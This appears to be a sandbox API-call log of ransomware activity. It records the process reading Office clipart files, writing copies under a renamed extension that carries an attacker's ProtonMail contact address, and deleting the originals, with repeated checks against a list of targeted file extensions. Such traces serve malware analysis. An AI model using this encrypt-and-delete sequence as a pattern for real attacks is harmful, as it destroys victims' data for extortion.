	[0167.795] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0167.795] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0167.795] lstrlenW (lpString="J0101980.WMF") returned 12
	[0167.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0167.796] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=16104) returned 1
	[0167.796] CloseHandle (hObject=0x4cc) returned 1
	[0167.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 0x220
	[0167.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0167.796] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.797] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0167.797] GetLastError () returned 0x0
	[0167.797] ReadFile (in: hFile=0x4cc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x3ee8, lpOverlapped=0x0) returned 1
	[0167.799] WriteFile (in: hFile=0x3e0, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x3ef0, lpOverlapped=0x0) returned 1
	[0167.800] ReadFile (in: hFile=0x4cc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.800] WriteFile (in: hFile=0x3e0, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.801] SetEndOfFile (hFile=0x3e0) returned 1
	[0167.801] CloseHandle (hObject=0x3e0) returned 1
	[0167.801] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.801] SetEndOfFile (hFile=0x4cc) returned 1
	[0167.803] CloseHandle (hObject=0x4cc) returned 1
	[0167.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 1
	[0167.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0167.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0167.805] lstrlenW (lpString=".doc") returned 4
	[0167.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.805] lstrlenW (lpString=".docx") returned 5
	[0167.805] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0167.805] lstrlenW (lpString=".pdf") returned 4
	[0167.805] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.805] lstrlenW (lpString=".xls") returned 4
	[0167.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.805] lstrlenW (lpString=".xlsx") returned 5
	[0167.805] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0167.805] lstrlenW (lpString=".ppt") returned 4
	[0167.805] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0167.805] lstrlenW (lpString=".zip") returned 4
	[0167.805] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.805] lstrlenW (lpString=".rar") returned 4
	[0167.805] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.805] lstrlenW (lpString=".bz2") returned 4
	[0167.805] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.805] lstrlenW (lpString=".7z") returned 3
	[0167.805] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0167.805] lstrlenW (lpString=".dbf") returned 4
	[0167.805] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0167.805] lstrlenW (lpString=".1cd") returned 4
	[0167.805] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0167.805] lstrlenW (lpString=".jpg") returned 4
	[0167.805] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0167.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0167.805] lstrlenW (lpString=".doc") returned 4
	[0167.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.805] lstrlenW (lpString=".docx") returned 5
	[0167.805] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0167.806] lstrlenW (lpString=".pdf") returned 4
	[0167.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.806] lstrlenW (lpString=".xls") returned 4
	[0167.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.806] lstrlenW (lpString=".xlsx") returned 5
	[0167.806] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0167.806] lstrlenW (lpString=".ppt") returned 4
	[0167.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0167.806] lstrlenW (lpString=".zip") returned 4
	[0167.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.806] lstrlenW (lpString=".rar") returned 4
	[0167.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.806] lstrlenW (lpString=".bz2") returned 4
	[0167.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.806] lstrlenW (lpString=".7z") returned 3
	[0167.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0167.806] lstrlenW (lpString=".dbf") returned 4
	[0167.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0167.806] lstrlenW (lpString=".1cd") returned 4
	[0167.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0167.806] lstrlenW (lpString=".jpg") returned 4
	[0167.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.806] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0167.806] lstrlenW (lpString="J0102002.WMF") returned 12
	[0167.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0167.807] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=15988) returned 1
	[0167.807] CloseHandle (hObject=0x4cc) returned 1
	[0167.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 0x220
	[0167.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0167.808] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.808] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0167.809] GetLastError () returned 0x0
	[0167.809] ReadFile (in: hFile=0x4cc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x3e74, lpOverlapped=0x0) returned 1
	[0167.811] WriteFile (in: hFile=0x3e0, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x3e80, lpOverlapped=0x0) returned 1
	[0167.812] ReadFile (in: hFile=0x4cc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.812] WriteFile (in: hFile=0x3e0, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.812] SetEndOfFile (hFile=0x3e0) returned 1
	[0167.812] CloseHandle (hObject=0x3e0) returned 1
	[0167.812] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.812] SetEndOfFile (hFile=0x4cc) returned 1
	[0167.815] CloseHandle (hObject=0x4cc) returned 1
	[0167.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.815] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 1
	[0167.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0167.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0167.971] lstrlenW (lpString=".doc") returned 4
	[0167.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.972] lstrlenW (lpString=".docx") returned 5
	[0167.972] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0167.972] lstrlenW (lpString=".pdf") returned 4
	[0167.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.972] lstrlenW (lpString=".xls") returned 4
	[0167.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.972] lstrlenW (lpString=".xlsx") returned 5
	[0167.972] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0167.972] lstrlenW (lpString=".ppt") returned 4
	[0167.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0167.972] lstrlenW (lpString=".zip") returned 4
	[0167.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.972] lstrlenW (lpString=".rar") returned 4
	[0167.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.972] lstrlenW (lpString=".bz2") returned 4
	[0167.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.973] lstrlenW (lpString=".7z") returned 3
	[0167.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0167.973] lstrlenW (lpString=".dbf") returned 4
	[0167.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0167.973] lstrlenW (lpString=".1cd") returned 4
	[0167.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0167.973] lstrlenW (lpString=".jpg") returned 4
	[0167.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0167.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0167.973] lstrlenW (lpString=".doc") returned 4
	[0167.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.973] lstrlenW (lpString=".docx") returned 5
	[0167.973] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0167.973] lstrlenW (lpString=".pdf") returned 4
	[0167.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.973] lstrlenW (lpString=".xls") returned 4
	[0167.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.973] lstrlenW (lpString=".xlsx") returned 5
	[0167.973] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0167.973] lstrlenW (lpString=".ppt") returned 4
	[0167.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0167.973] lstrlenW (lpString=".zip") returned 4
	[0167.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.974] lstrlenW (lpString=".rar") returned 4
	[0167.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.974] lstrlenW (lpString=".bz2") returned 4
	[0167.974] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.974] lstrlenW (lpString=".7z") returned 3
	[0167.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0167.974] lstrlenW (lpString=".dbf") returned 4
	[0167.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0167.974] lstrlenW (lpString=".1cd") returned 4
	[0167.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68
	[0167.974] lstrlenW (lpString=".jpg") returned 4
	[0167.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.974] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0167.974] lstrlenW (lpString="J0102594.WMF") returned 12
	[0167.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0168.569] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=27000) returned 1
	[0168.569] CloseHandle (hObject=0x4d0) returned 1
	[0168.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 0x220
	[0168.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0168.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0168.986] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.986] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0168.994] GetLastError () returned 0x0
	[0168.994] ReadFile (in: hFile=0x440, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x6978, lpOverlapped=0x0) returned 1
	[0169.009] WriteFile (in: hFile=0x47c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x6980, lpOverlapped=0x0) returned 1
	[0169.011] ReadFile (in: hFile=0x440, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.011] WriteFile (in: hFile=0x47c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.011] SetEndOfFile (hFile=0x47c) returned 1
	[0169.011] CloseHandle (hObject=0x47c) returned 1
	[0169.012] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.012] SetEndOfFile (hFile=0x440) returned 1
	[0169.015] CloseHandle (hObject=0x440) returned 1
	[0169.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0169.016] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 1
	[0169.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0169.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0169.017] lstrlenW (lpString=".doc") returned 4
	[0169.017] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.017] lstrlenW (lpString=".docx") returned 5
	[0169.017] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0169.017] lstrlenW (lpString=".pdf") returned 4
	[0169.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.017] lstrlenW (lpString=".xls") returned 4
	[0169.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.017] lstrlenW (lpString=".xlsx") returned 5
	[0169.017] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0169.017] lstrlenW (lpString=".ppt") returned 4
	[0169.017] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0169.017] lstrlenW (lpString=".zip") returned 4
	[0169.017] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.017] lstrlenW (lpString=".rar") returned 4
	[0169.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.017] lstrlenW (lpString=".bz2") returned 4
	[0169.017] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.017] lstrlenW (lpString=".7z") returned 3
	[0169.017] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0169.017] lstrlenW (lpString=".dbf") returned 4
	[0169.017] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0169.017] lstrlenW (lpString=".1cd") returned 4
	[0169.017] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0169.017] lstrlenW (lpString=".jpg") returned 4
	[0169.017] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0169.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0169.018] lstrlenW (lpString=".doc") returned 4
	[0169.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.018] lstrlenW (lpString=".docx") returned 5
	[0169.018] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0169.018] lstrlenW (lpString=".pdf") returned 4
	[0169.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.018] lstrlenW (lpString=".xls") returned 4
	[0169.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.018] lstrlenW (lpString=".xlsx") returned 5
	[0169.018] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0169.018] lstrlenW (lpString=".ppt") returned 4
	[0169.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0169.018] lstrlenW (lpString=".zip") returned 4
	[0169.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.018] lstrlenW (lpString=".rar") returned 4
	[0169.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.018] lstrlenW (lpString=".bz2") returned 4
	[0169.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.018] lstrlenW (lpString=".7z") returned 3
	[0169.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0169.018] lstrlenW (lpString=".dbf") returned 4
	[0169.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68
	[0169.018] lstrlenW (lpString=".1cd") returned 4
	[0169.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
